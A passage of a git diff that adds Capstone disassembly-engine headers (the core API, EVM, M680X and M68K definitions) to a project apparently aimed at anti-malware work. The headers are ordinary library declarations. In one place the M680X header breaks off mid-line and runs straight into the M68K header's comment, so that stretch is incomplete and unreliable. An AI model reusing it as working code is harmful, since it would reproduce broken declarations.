(Thumb mode) or 4 bytes. + /// Arm64: 4 bytes. + /// Mips: 4 bytes. + /// M680x: 1 byte. + /// PowerPC: 4 bytes. + /// Sparc: 4 bytes. + /// SystemZ: 2 bytes. + /// X86: 1 bytes. + /// XCore: 2 bytes. + /// EVM: 1 bytes. + cs_skipdata_cb_t callback; // default value is NULL + + /// User-defined data to be passed to @callback function pointer. + void *user_data; +} cs_opt_skipdata; + + +#include "arm.h" +#include "arm64.h" +#include "m68k.h" +#include "mips.h" +#include "ppc.h" +#include "sparc.h" +#include "systemz.h" +#include "x86.h" +#include "xcore.h" +#include "tms320c64x.h" +#include "m680x.h" +#include "evm.h" + +/// NOTE: All information in cs_detail is only available when CS_OPT_DETAIL = CS_OPT_ON +/// Initialized as memset(., 0, offsetof(cs_detail, ARCH)+sizeof(cs_ARCH)) +/// by ARCH_getInstruction in arch/ARCH/ARCHDisassembler.c +/// if cs_detail changes, in particular if a field is added after the union, +/// then update arch/ARCH/ARCHDisassembler.c accordingly +typedef struct cs_detail { + uint16_t regs_read[12]; ///< list of implicit registers read by this insn + uint8_t regs_read_count; ///< number of implicit registers read by this insn + + uint16_t regs_write[20]; ///< list of implicit registers modified by this insn + uint8_t regs_write_count; ///< number of implicit registers modified by this insn + + uint8_t groups[8]; ///< list of group this instruction belong to + uint8_t groups_count; ///< number of groups this insn belongs to + + /// Architecture-specific instruction info + union { + cs_x86 x86; ///< X86 architecture, including 16-bit, 32-bit & 64-bit mode + cs_arm64 arm64; ///< ARM64 architecture (aka AArch64) + cs_arm arm; ///< ARM architecture (including Thumb/Thumb2) + cs_m68k m68k; ///< M68K architecture + cs_mips mips; ///< MIPS architecture + cs_ppc ppc; ///< PowerPC architecture + cs_sparc sparc; ///< Sparc architecture + cs_sysz sysz; ///< SystemZ architecture + cs_xcore xcore; ///< XCore architecture + cs_tms320c64x tms320c64x; ///< TMS320C64x architecture + cs_m680x m680x; ///< M680X architecture + cs_evm evm; ///< Ethereum architecture + }; +} cs_detail; + +/// Detail information of disassembled instruction +typedef struct cs_insn { + /// Instruction ID (basically a numeric ID for the instruction mnemonic) + /// Find the instruction id in the '[ARCH]_insn' enum in the header file + /// of corresponding architecture, such as 'arm_insn' in arm.h for ARM, + /// 'x86_insn' in x86.h for X86, etc... + /// This information is available even when CS_OPT_DETAIL = CS_OPT_OFF + /// NOTE: in Skipdata mode, "data" instruction has 0 for this id field. + unsigned int id; + + /// Address (EIP) of this instruction + /// This information is available even when CS_OPT_DETAIL = CS_OPT_OFF + uint64_t address; + + /// Size of this instruction + /// This information is available even when CS_OPT_DETAIL = CS_OPT_OFF + uint16_t size; + + /// Machine bytes of this instruction, with number of bytes indicated by @size above + /// This information is available even when CS_OPT_DETAIL = CS_OPT_OFF + uint8_t bytes[16]; + + /// Ascii text of instruction mnemonic + /// This information is available even when CS_OPT_DETAIL = CS_OPT_OFF + char mnemonic[CS_MNEMONIC_SIZE]; + + /// Ascii text of instruction operands + /// This information is available even when CS_OPT_DETAIL = CS_OPT_OFF + char op_str[160]; + + /// Pointer to cs_detail. + /// NOTE: detail pointer is only valid when both requirements below are met: + /// (1) CS_OP_DETAIL = CS_OPT_ON + /// (2) Engine is not in Skipdata mode (CS_OP_SKIPDATA option set to CS_OPT_ON) + /// + /// NOTE 2: when in Skipdata mode, or when detail mode is OFF, even if this pointer + /// is not NULL, its content is still irrelevant. + cs_detail *detail; +} cs_insn; + + +/// Calculate the offset of a disassembled instruction in its buffer, given its position +/// in its array of disassembled insn +/// NOTE: this macro works with position (>=1), not index +#define CS_INSN_OFFSET(insns, post) (insns[post - 1].address - insns[0].address) + + +/// All type of errors encountered by Capstone API. +/// These are values returned by cs_errno() +typedef enum cs_err { + CS_ERR_OK = 0, ///< No error: everything was fine + CS_ERR_MEM, ///< Out-Of-Memory error: cs_open(), cs_disasm(), cs_disasm_iter() + CS_ERR_ARCH, ///< Unsupported architecture: cs_open() + CS_ERR_HANDLE, ///< Invalid handle: cs_op_count(), cs_op_index() + CS_ERR_CSH, ///< Invalid csh argument: cs_close(), cs_errno(), cs_option() + CS_ERR_MODE, ///< Invalid/unsupported mode: cs_open() + CS_ERR_OPTION, ///< Invalid/unsupported option: cs_option() + CS_ERR_DETAIL, ///< Information is unavailable because detail option is OFF + CS_ERR_MEMSETUP, ///< Dynamic memory management uninitialized (see CS_OPT_MEM) + CS_ERR_VERSION, ///< Unsupported version (bindings) + CS_ERR_DIET, ///< Access irrelevant data in "diet" engine + CS_ERR_SKIPDATA, ///< Access irrelevant data for "data" instruction in SKIPDATA mode + CS_ERR_X86_ATT, ///< X86 AT&T syntax is unsupported (opt-out at compile time) + CS_ERR_X86_INTEL, ///< X86 Intel syntax is unsupported (opt-out at compile time) + CS_ERR_X86_MASM, ///< X86 Masm syntax is unsupported (opt-out at compile time) +} cs_err; + +/** + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro CS_MAKE_VERSION + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +*/ +CAPSTONE_EXPORT +unsigned int CAPSTONE_API cs_version(int *major, int *minor); + + +/** + This API can be used to either ask for archs supported by this library, + or check to see if the library was compile with 'diet' option (or called + in 'diet' mode). + + To check if a particular arch is supported by this library, set @query to + arch mode (CS_ARCH_* value). + To verify if this library supports all the archs, use CS_ARCH_ALL. + + To check if this library is in 'diet' mode, set @query to CS_SUPPORT_DIET. + + @return True if this library supports the given arch, or in 'diet' mode. +*/ +CAPSTONE_EXPORT +bool CAPSTONE_API cs_support(int query); + +/** + Initialize CS handle: this must be done before any usage of CS. + + @arch: architecture type (CS_ARCH_*) + @mode: hardware mode. This is combined of CS_MODE_* + @handle: pointer to handle, which will be updated at return time + + @return CS_ERR_OK on success, or other value on failure (refer to cs_err enum + for detailed error). +*/ +CAPSTONE_EXPORT +cs_err CAPSTONE_API cs_open(cs_arch arch, cs_mode mode, csh *handle); + +/** + Close CS handle: MUST do to release the handle when it is not used anymore. + NOTE: this must be only called when there is no longer usage of Capstone, + not even access to cs_insn array. The reason is the this API releases some + cached memory, thus access to any Capstone API after cs_close() might crash + your application. + + In fact,this API invalidate @handle by ZERO out its value (i.e *handle = 0). + + @handle: pointer to a handle returned by cs_open() + + @return CS_ERR_OK on success, or other value on failure (refer to cs_err enum + for detailed error). +*/ +CAPSTONE_EXPORT +cs_err CAPSTONE_API cs_close(csh *handle); + +/** + Set option for disassembling engine at runtime + + @handle: handle returned by cs_open() + @type: type of option to be set + @value: option value corresponding with @type + + @return: CS_ERR_OK on success, or other value on failure. + Refer to cs_err enum for detailed error. + + NOTE: in the case of CS_OPT_MEM, handle's value can be anything, + so that cs_option(handle, CS_OPT_MEM, value) can (i.e must) be called + even before cs_open() +*/ +CAPSTONE_EXPORT +cs_err CAPSTONE_API cs_option(csh handle, cs_opt_type type, size_t value); + +/** + Report the last error number when some API function fail. + Like glibc's errno, cs_errno might not retain its old value once accessed. + + @handle: handle returned by cs_open() + + @return: error code of cs_err enum type (CS_ERR_*, see above) +*/ +CAPSTONE_EXPORT +cs_err CAPSTONE_API cs_errno(csh handle); + + +/** + Return a string describing given error code. + + @code: error code (see CS_ERR_* above) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code +*/ +CAPSTONE_EXPORT +const char * CAPSTONE_API cs_strerror(cs_err code); + +/** + Disassemble binary code, given the code buffer, size, address and number + of instructions to be decoded. + This API dynamically allocate memory to contain disassembled instruction. + Resulting instructions will be put into @*insn + + NOTE 1: this API will automatically determine memory needed to contain + output disassembled instructions in @insn. + + NOTE 2: caller must free the allocated memory itself to avoid memory leaking. + + NOTE 3: for system with scarce memory to be dynamically allocated such as + OS kernel or firmware, the API cs_disasm_iter() might be a better choice than + cs_disasm(). The reason is that with cs_disasm(), based on limited available + memory, we have to calculate in advance how many instructions to be disassembled, + which complicates things. This is especially troublesome for the case @count=0, + when cs_disasm() runs uncontrollably (until either end of input buffer, or + when it encounters an invalid instruction). + + @handle: handle returned by cs_open() + @code: buffer containing raw binary code to be disassembled. + @code_size: size of the above code buffer. + @address: address of the first instruction in given raw code buffer. + @insn: array of instructions filled in by this API. + NOTE: @insn will be allocated by this function, and should be freed + with cs_free() API. + @count: number of instructions to be disassembled, or 0 to get all of them + + @return: the number of successfully disassembled instructions, + or 0 if this function failed to disassemble the given code + + On failure, call cs_errno() for error code. +*/ +CAPSTONE_EXPORT +size_t CAPSTONE_API cs_disasm(csh handle, + const uint8_t *code, size_t code_size, + uint64_t address, + size_t count, + cs_insn **insn); + +/** + Deprecated function - to be retired in the next version! + Use cs_disasm() instead of cs_disasm_ex() +*/ +CAPSTONE_EXPORT +CAPSTONE_DEPRECATED +size_t CAPSTONE_API cs_disasm_ex(csh handle, + const uint8_t *code, size_t code_size, + uint64_t address, + size_t count, + cs_insn **insn); + +/** + Free memory allocated by cs_malloc() or cs_disasm() (argument @insn) + + @insn: pointer returned by @insn argument in cs_disasm() or cs_malloc() + @count: number of cs_insn structures returned by cs_disasm(), or 1 + to free memory allocated by cs_malloc(). +*/ +CAPSTONE_EXPORT +void CAPSTONE_API cs_free(cs_insn *insn, size_t count); + + +/** + Allocate memory for 1 instruction to be used by cs_disasm_iter(). + + @handle: handle returned by cs_open() + + NOTE: when no longer in use, you can reclaim the memory allocated for + this instruction with cs_free(insn, 1) +*/ +CAPSTONE_EXPORT +cs_insn * CAPSTONE_API cs_malloc(csh handle); + +/** + Fast API to disassemble binary code, given the code buffer, size, address + and number of instructions to be decoded. + This API puts the resulting instruction into a given cache in @insn. + See tests/test_iter.c for sample code demonstrating this API. + + NOTE 1: this API will update @code, @size & @address to point to the next + instruction in the input buffer. Therefore, it is convenient to use + cs_disasm_iter() inside a loop to quickly iterate all the instructions. + While decoding one instruction at a time can also be achieved with + cs_disasm(count=1), some benchmarks shown that cs_disasm_iter() can be 30% + faster on random input. + + NOTE 2: the cache in @insn can be created with cs_malloc() API. + + NOTE 3: for system with scarce memory to be dynamically allocated such as + OS kernel or firmware, this API is recommended over cs_disasm(), which + allocates memory based on the number of instructions to be disassembled. + The reason is that with cs_disasm(), based on limited available memory, + we have to calculate in advance how many instructions to be disassembled, + which complicates things. This is especially troublesome for the case + @count=0, when cs_disasm() runs uncontrollably (until either end of input + buffer, or when it encounters an invalid instruction). + + @handle: handle returned by cs_open() + @code: buffer containing raw binary code to be disassembled + @size: size of above code + @address: address of the first insn in given raw code buffer + @insn: pointer to instruction to be filled in by this API. + + @return: true if this API successfully decode 1 instruction, + or false otherwise. + + On failure, call cs_errno() for error code. +*/ +CAPSTONE_EXPORT +bool CAPSTONE_API cs_disasm_iter(csh handle, + const uint8_t **code, size_t *size, + uint64_t *address, cs_insn *insn); + +/** + Return friendly name of register in a string. + Find the instruction id from header file of corresponding architecture (arm.h for ARM, + x86.h for X86, ...) + + WARN: when in 'diet' mode, this API is irrelevant because engine does not + store register name. + + @handle: handle returned by cs_open() + @reg_id: register id + + @return: string name of the register, or NULL if @reg_id is invalid. +*/ +CAPSTONE_EXPORT +const char * CAPSTONE_API cs_reg_name(csh handle, unsigned int reg_id); + +/** + Return friendly name of an instruction in a string. + Find the instruction id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + store instruction name. + + @handle: handle returned by cs_open() + @insn_id: instruction id + + @return: string name of the instruction, or NULL if @insn_id is invalid. +*/ +CAPSTONE_EXPORT +const char * CAPSTONE_API cs_insn_name(csh handle, unsigned int insn_id); + +/** + Return friendly name of a group id (that an instruction can belong to) + Find the group id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + store group name. + + @handle: handle returned by cs_open() + @group_id: group id + + @return: string name of the group, or NULL if @group_id is invalid. +*/ +CAPSTONE_EXPORT +const char * CAPSTONE_API cs_group_name(csh handle, unsigned int group_id); + +/** + Check if a disassembled instruction belong to a particular group. + Find the group id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + Internally, this simply verifies if @group_id matches any member of insn->groups array. + + NOTE: this API is only valid when detail option is ON (which is OFF by default). + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + update @groups array. + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @group_id: group that you want to check if this instruction belong to. + + @return: true if this instruction indeed belongs to the given group, or false otherwise. +*/ +CAPSTONE_EXPORT +bool CAPSTONE_API cs_insn_group(csh handle, const cs_insn *insn, unsigned int group_id); + +/** + Check if a disassembled instruction IMPLICITLY used a particular register. + Find the register id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + Internally, this simply verifies if @reg_id matches any member of insn->regs_read array. + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + update @regs_read array. + + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @reg_id: register that you want to check if this instruction used it. + + @return: true if this instruction indeed implicitly used the given register, or false otherwise. +*/ +CAPSTONE_EXPORT +bool CAPSTONE_API cs_reg_read(csh handle, const cs_insn *insn, unsigned int reg_id); + +/** + Check if a disassembled instruction IMPLICITLY modified a particular register. + Find the register id from header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + Internally, this simply verifies if @reg_id matches any member of insn->regs_write array. + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + WARN: when in 'diet' mode, this API is irrelevant because the engine does not + update @regs_write array. + + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @reg_id: register that you want to check if this instruction modified it. + + @return: true if this instruction indeed implicitly modified the given register, or false otherwise. +*/ +CAPSTONE_EXPORT +bool CAPSTONE_API cs_reg_write(csh handle, const cs_insn *insn, unsigned int reg_id); + +/** + Count the number of operands of a given type. + Find the operand type in header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @op_type: Operand type to be found. + + @return: number of operands of given type @op_type in instruction @insn, + or -1 on failure. +*/ +CAPSTONE_EXPORT +int CAPSTONE_API cs_op_count(csh handle, const cs_insn *insn, unsigned int op_type); + +/** + Retrieve the position of operand of given type in .operands[] array. + Later, the operand can be accessed using the returned position. + Find the operand type in header file of corresponding architecture (arm.h for ARM, x86.h for X86, ...) + + NOTE: this API is only valid when detail option is ON (which is OFF by default) + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure received from cs_disasm() or cs_disasm_iter() + @op_type: Operand type to be found. + @position: position of the operand to be found. This must be in the range + [1, cs_op_count(handle, insn, op_type)] + + @return: index of operand of given type @op_type in .operands[] array + in instruction @insn, or -1 on failure. +*/ +CAPSTONE_EXPORT +int CAPSTONE_API cs_op_index(csh handle, const cs_insn *insn, unsigned int op_type, + unsigned int position); + +/// Type of array to keep the list of registers +typedef uint16_t cs_regs[64]; + +/** + Retrieve all the registers accessed by an instruction, either explicitly or + implicitly. + + WARN: when in 'diet' mode, this API is irrelevant because engine does not + store registers. + + @handle: handle returned by cs_open() + @insn: disassembled instruction structure returned from cs_disasm() or cs_disasm_iter() + @regs_read: on return, this array contains all registers read by instruction. + @regs_read_count: number of registers kept inside @regs_read array. + @regs_write: on return, this array contains all registers written by instruction. + @regs_write_count: number of registers kept inside @regs_write array. + + @return CS_ERR_OK on success, or other value on failure (refer to cs_err enum + for detailed error). +*/ +CAPSTONE_EXPORT +cs_err CAPSTONE_API cs_regs_access(csh handle, const cs_insn *insn, + cs_regs regs_read, uint8_t *regs_read_count, + cs_regs regs_write, uint8_t *regs_write_count); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/evm.h b/ai_anti_malware/capstone/include/capstone/evm.h new file mode 100644 index 0000000..78fb7c0 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/evm.h @@ -0,0 +1,188 @@ +#ifndef CAPSTONE_EVM_H +#define CAPSTONE_EVM_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2018 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// Instruction structure +typedef struct cs_evm { + unsigned char pop; ///< number of items popped from the stack + unsigned char push; ///< number of items pushed into the stack + unsigned int fee; ///< gas fee for the instruction +} cs_evm; + +/// EVM instruction +typedef enum evm_insn { + EVM_INS_STOP = 0, + EVM_INS_ADD = 1, + EVM_INS_MUL = 2, + EVM_INS_SUB = 3, + EVM_INS_DIV = 4, + EVM_INS_SDIV = 5, + EVM_INS_MOD = 6, + EVM_INS_SMOD = 7, + EVM_INS_ADDMOD = 8, + EVM_INS_MULMOD = 9, + EVM_INS_EXP = 10, + EVM_INS_SIGNEXTEND = 11, + EVM_INS_LT = 16, + EVM_INS_GT = 17, + EVM_INS_SLT = 18, + EVM_INS_SGT = 19, + EVM_INS_EQ = 20, + EVM_INS_ISZERO = 21, + EVM_INS_AND = 22, + EVM_INS_OR = 23, + EVM_INS_XOR = 24, + EVM_INS_NOT = 25, + EVM_INS_BYTE = 26, + EVM_INS_SHA3 = 32, + EVM_INS_ADDRESS = 48, + EVM_INS_BALANCE = 49, + EVM_INS_ORIGIN = 50, + EVM_INS_CALLER = 51, + EVM_INS_CALLVALUE = 52, + EVM_INS_CALLDATALOAD = 53, + EVM_INS_CALLDATASIZE = 54, + EVM_INS_CALLDATACOPY = 55, + EVM_INS_CODESIZE = 56, + EVM_INS_CODECOPY = 57, + EVM_INS_GASPRICE = 58, + EVM_INS_EXTCODESIZE = 59, + EVM_INS_EXTCODECOPY = 60, + EVM_INS_RETURNDATASIZE = 61, + EVM_INS_RETURNDATACOPY = 62, + EVM_INS_BLOCKHASH = 64, + EVM_INS_COINBASE = 65, + EVM_INS_TIMESTAMP = 66, + EVM_INS_NUMBER = 67, + EVM_INS_DIFFICULTY = 68, + EVM_INS_GASLIMIT = 69, + EVM_INS_POP = 80, + EVM_INS_MLOAD = 81, + EVM_INS_MSTORE = 82, + EVM_INS_MSTORE8 = 83, + EVM_INS_SLOAD = 84, + EVM_INS_SSTORE = 85, + EVM_INS_JUMP = 86, + EVM_INS_JUMPI = 87, + EVM_INS_PC = 88, + EVM_INS_MSIZE = 89, + EVM_INS_GAS = 90, + EVM_INS_JUMPDEST = 91, + EVM_INS_PUSH1 = 96, + EVM_INS_PUSH2 = 97, + EVM_INS_PUSH3 = 98, + EVM_INS_PUSH4 = 99, + EVM_INS_PUSH5 = 100, + EVM_INS_PUSH6 = 101, + EVM_INS_PUSH7 = 102, + EVM_INS_PUSH8 = 103, + EVM_INS_PUSH9 = 104, + EVM_INS_PUSH10 = 105, + EVM_INS_PUSH11 = 106, + EVM_INS_PUSH12 = 107, + EVM_INS_PUSH13 = 108, + EVM_INS_PUSH14 = 109, + EVM_INS_PUSH15 = 110, + EVM_INS_PUSH16 = 111, + EVM_INS_PUSH17 = 112, + EVM_INS_PUSH18 = 113, + EVM_INS_PUSH19 = 114, + EVM_INS_PUSH20 = 115, + EVM_INS_PUSH21 = 116, + EVM_INS_PUSH22 = 117, + EVM_INS_PUSH23 = 118, + EVM_INS_PUSH24 = 119, + EVM_INS_PUSH25 = 120, + EVM_INS_PUSH26 = 121, + EVM_INS_PUSH27 = 122, + EVM_INS_PUSH28 = 123, + EVM_INS_PUSH29 = 124, + EVM_INS_PUSH30 = 125, + EVM_INS_PUSH31 = 126, + EVM_INS_PUSH32 = 127, + EVM_INS_DUP1 = 128, + EVM_INS_DUP2 = 129, + EVM_INS_DUP3 = 130, + EVM_INS_DUP4 = 131, + EVM_INS_DUP5 = 132, + EVM_INS_DUP6 = 133, + EVM_INS_DUP7 = 134, + EVM_INS_DUP8 = 135, + EVM_INS_DUP9 = 136, + EVM_INS_DUP10 = 137, + EVM_INS_DUP11 = 138, + EVM_INS_DUP12 = 139, + EVM_INS_DUP13 = 140, + EVM_INS_DUP14 = 141, + EVM_INS_DUP15 = 142, + EVM_INS_DUP16 = 143, + EVM_INS_SWAP1 = 144, + EVM_INS_SWAP2 = 145, + EVM_INS_SWAP3 = 146, + EVM_INS_SWAP4 = 147, + EVM_INS_SWAP5 = 148, + EVM_INS_SWAP6 = 149, + EVM_INS_SWAP7 = 150, + EVM_INS_SWAP8 = 151, + EVM_INS_SWAP9 = 152, + EVM_INS_SWAP10 = 153, + EVM_INS_SWAP11 = 154, + EVM_INS_SWAP12 = 155, + EVM_INS_SWAP13 = 156, + EVM_INS_SWAP14 = 157, + EVM_INS_SWAP15 = 158, + EVM_INS_SWAP16 = 159, + EVM_INS_LOG0 = 160, + EVM_INS_LOG1 = 161, + EVM_INS_LOG2 = 162, + EVM_INS_LOG3 = 163, + EVM_INS_LOG4 = 164, + EVM_INS_CREATE = 240, + EVM_INS_CALL = 241, + EVM_INS_CALLCODE = 242, + EVM_INS_RETURN = 243, + EVM_INS_DELEGATECALL = 244, + EVM_INS_CALLBLACKBOX = 245, + EVM_INS_STATICCALL = 250, + EVM_INS_REVERT = 253, + EVM_INS_SUICIDE = 255, + + EVM_INS_INVALID = 512, + EVM_INS_ENDING, // <-- mark the end of the list of instructions +} evm_insn; + +/// Group of EVM instructions +typedef enum evm_insn_group { + EVM_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + EVM_GRP_JUMP, ///< all jump instructions + + EVM_GRP_MATH = 8, ///< math instructions + EVM_GRP_STACK_WRITE, ///< instructions write to stack + EVM_GRP_STACK_READ, ///< instructions read from stack + EVM_GRP_MEM_WRITE, ///< instructions write to memory + EVM_GRP_MEM_READ, ///< instructions read from memory + EVM_GRP_STORE_WRITE, ///< instructions write to storage + EVM_GRP_STORE_READ, ///< instructions read from storage + EVM_GRP_HALT, ///< instructions halt execution + + EVM_GRP_ENDING, ///< <-- mark the end of the list of groups +} evm_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/m680x.h b/ai_anti_malware/capstone/include/capstone/m680x.h new file mode 100644 index 0000000..c8296e4 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/m680x.h @@ -0,0 +1,537 @@ +#ifndef CAPSTONE_M680X_H +#define CAPSTONE_M680X_H + +/* Capstone Disassembly Engine */ +/* M680X Backend by Wolfgang Schwotzer 2017 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +#define M680X_OPERAND_COUNT 9 + +/// M680X registers and special registers +typedef enum m680x_reg { + M680X_REG_INVALID = 0, + + M680X_REG_A, ///< M6800/1/2/3/9, HD6301/9 + M680X_REG_B, ///< M6800/1/2/3/9, HD6301/9 + M680X_REG_E, ///< HD6309 + M680X_REG_F, ///< HD6309 + M680X_REG_0, ///< HD6309 + + M680X_REG_D, ///< M6801/3/9, HD6301/9 + M680X_REG_W, ///< HD6309 + + M680X_REG_CC, ///< M6800/1/2/3/9, M6301/9 + M680X_REG_DP, ///< M6809/M6309 + M680X_REG_MD, ///< M6309 + + M680X_REG_HX, ///< M6808 + M680X_REG_H, ///< M6808 + M680X_REG_X, ///< M6800/1/2/3/9, M6301/9 + M680X_REG_Y, ///< M6809/M6309 + M680X_REG_S, ///< M6809/M6309 + M680X_REG_U, ///< M6809/M6309 + M680X_REG_V, ///< M6309 + + M680X_REG_Q, ///< M6309 + + M680X_REG_PC, ///< M6800/1/2/3/9, M6301/9 + + M680X_REG_TMP2, ///< CPU12 + M680X_REG_TMP3, ///< CPU12 + + M680X_REG_ENDING, ///< <-- mark the end of the list of registers +} m680x_reg; + +/// Operand type for instruction's operands +typedef enum m680x_op_type { + M680X_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + M680X_OP_REGISTER, ///< = Register operand. + M680X_OP_IMMEDIATE, ///< = Immediate operand. + M680X_OP_INDEXED, ///< = Indexed addressing operand. + M680X_OP_EXTENDED, ///< = Extended addressing operand. + M680X_OP_DIRECT, ///< = Direct addressing operand. + M680X_OP_RELATIVE, ///< = Relative addressing operand. + M680X_OP_CONSTANT, ///< = constant operand (Displayed as number only). + ///< Used e.g. for a bit index or page number. +} m680x_op_type; + +// Supported bit values for mem.idx.offset_bits +#define M680X_OFFSET_NONE 0 +#define M680X_OFFSET_BITS_5 5 +#define M680X_OFFSET_BITS_8 8 +#define M680X_OFFSET_BITS_9 9 +#define M680X_OFFSET_BITS_16 16 + +// Supported bit flags for mem.idx.flags +// These flags can be combined +#define M680X_IDX_INDIRECT 1 +#define M680X_IDX_NO_COMMA 2 +#define M680X_IDX_POST_INC_DEC 4 + +/// Instruction's operand referring to indexed addressing +typedef struct m680x_op_idx { + m680x_reg base_reg; ///< base register (or M680X_REG_INVALID if + ///< irrelevant) + m680x_reg offset_reg; ///< offset register (or M680X_REG_INVALID if + ///< irrelevant) + int16_t offset; ///< 5-,8- or 16-bit offset. See also offset_bits. + uint16_t offset_addr; ///< = offset addr. if base_reg == M680X_REG_PC. + ///< calculated as offset + PC + uint8_t offset_bits; ///< offset width in bits for indexed addressing + int8_t inc_dec; ///< inc. or dec. value: + ///< 0: no inc-/decrement + ///< 1 .. 8: increment by 1 .. 8 + ///< -1 .. -8: decrement by 1 .. 8 + ///< if flag M680X_IDX_POST_INC_DEC set it is post + ///< inc-/decrement otherwise pre inc-/decrement + uint8_t flags; ///< 8-bit flags (see above) +} m680x_op_idx; + +/// Instruction's memory operand referring to relative addressing (Bcc/LBcc) +typedef struct m680x_op_rel { + uint16_t address; ///< The absolute address. + ///< calculated as PC + offset. PC is the first + ///< address after the instruction. + int16_t offset; ///< the offset/displacement value +} m680x_op_rel; + +/// Instruction's operand referring to extended addressing +typedef struct m680x_op_ext { + uint16_t address; ///< The absolute address + bool indirect; ///< true if extended indirect addressing +} m680x_op_ext; + +/// Instruction operand +typedef struct cs_m680x_op { + m680x_op_type type; + union { + int32_t imm; ///< immediate value for IMM operand + m680x_reg reg; ///< register value for REG operand + m680x_op_idx idx; ///< Indexed addressing operand + m680x_op_rel rel; ///< Relative address. operand (Bcc/LBcc) + m680x_op_ext ext; ///< Extended address + uint8_t direct_addr; ///<, 2015-2016 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +#define M68K_OPERAND_COUNT 4 + +/// M68K registers and special registers +typedef enum m68k_reg { + M68K_REG_INVALID = 0, + + M68K_REG_D0, + M68K_REG_D1, + M68K_REG_D2, + M68K_REG_D3, + M68K_REG_D4, + M68K_REG_D5, + M68K_REG_D6, + M68K_REG_D7, + + M68K_REG_A0, + M68K_REG_A1, + M68K_REG_A2, + M68K_REG_A3, + M68K_REG_A4, + M68K_REG_A5, + M68K_REG_A6, + M68K_REG_A7, + + M68K_REG_FP0, + M68K_REG_FP1, + M68K_REG_FP2, + M68K_REG_FP3, + M68K_REG_FP4, + M68K_REG_FP5, + M68K_REG_FP6, + M68K_REG_FP7, + + M68K_REG_PC, + + M68K_REG_SR, + M68K_REG_CCR, + M68K_REG_SFC, + M68K_REG_DFC, + M68K_REG_USP, + M68K_REG_VBR, + M68K_REG_CACR, + M68K_REG_CAAR, + M68K_REG_MSP, + M68K_REG_ISP, + M68K_REG_TC, + M68K_REG_ITT0, + M68K_REG_ITT1, + M68K_REG_DTT0, + M68K_REG_DTT1, + M68K_REG_MMUSR, + M68K_REG_URP, + M68K_REG_SRP, + + M68K_REG_FPCR, + M68K_REG_FPSR, + M68K_REG_FPIAR, + + M68K_REG_ENDING, // <-- mark the end of the list of registers +} m68k_reg; + +/// M68K Addressing Modes +typedef enum m68k_address_mode { + M68K_AM_NONE = 0, ///< No address mode. + + M68K_AM_REG_DIRECT_DATA, ///< Register Direct - Data + M68K_AM_REG_DIRECT_ADDR, ///< Register Direct - Address + + M68K_AM_REGI_ADDR, ///< Register Indirect - Address + M68K_AM_REGI_ADDR_POST_INC, ///< Register Indirect - Address with Postincrement + M68K_AM_REGI_ADDR_PRE_DEC, ///< Register Indirect - Address with Predecrement + M68K_AM_REGI_ADDR_DISP, ///< Register Indirect - Address with Displacement + + M68K_AM_AREGI_INDEX_8_BIT_DISP, ///< Address Register Indirect With Index- 8-bit displacement + M68K_AM_AREGI_INDEX_BASE_DISP, ///< Address Register Indirect With Index- Base displacement + + M68K_AM_MEMI_POST_INDEX, ///< Memory indirect - Postindex + M68K_AM_MEMI_PRE_INDEX, ///< Memory indirect - Preindex + + M68K_AM_PCI_DISP, ///< Program Counter Indirect - with Displacement + + M68K_AM_PCI_INDEX_8_BIT_DISP, ///< Program Counter Indirect with Index - with 8-Bit Displacement + M68K_AM_PCI_INDEX_BASE_DISP, ///< Program Counter Indirect with Index - with Base Displacement + + M68K_AM_PC_MEMI_POST_INDEX, ///< Program Counter Memory Indirect - Postindexed + M68K_AM_PC_MEMI_PRE_INDEX, ///< Program Counter Memory Indirect - Preindexed + + M68K_AM_ABSOLUTE_DATA_SHORT, ///< Absolute Data Addressing - Short + M68K_AM_ABSOLUTE_DATA_LONG, ///< Absolute Data Addressing - Long + M68K_AM_IMMEDIATE, ///< Immediate value + + M68K_AM_BRANCH_DISPLACEMENT, ///< Address as displacement from (PC+2) used by branches +} m68k_address_mode; + +/// Operand type for instruction's operands +typedef enum m68k_op_type { + M68K_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + M68K_OP_REG, ///< = CS_OP_REG (Register operand). + M68K_OP_IMM, ///< = 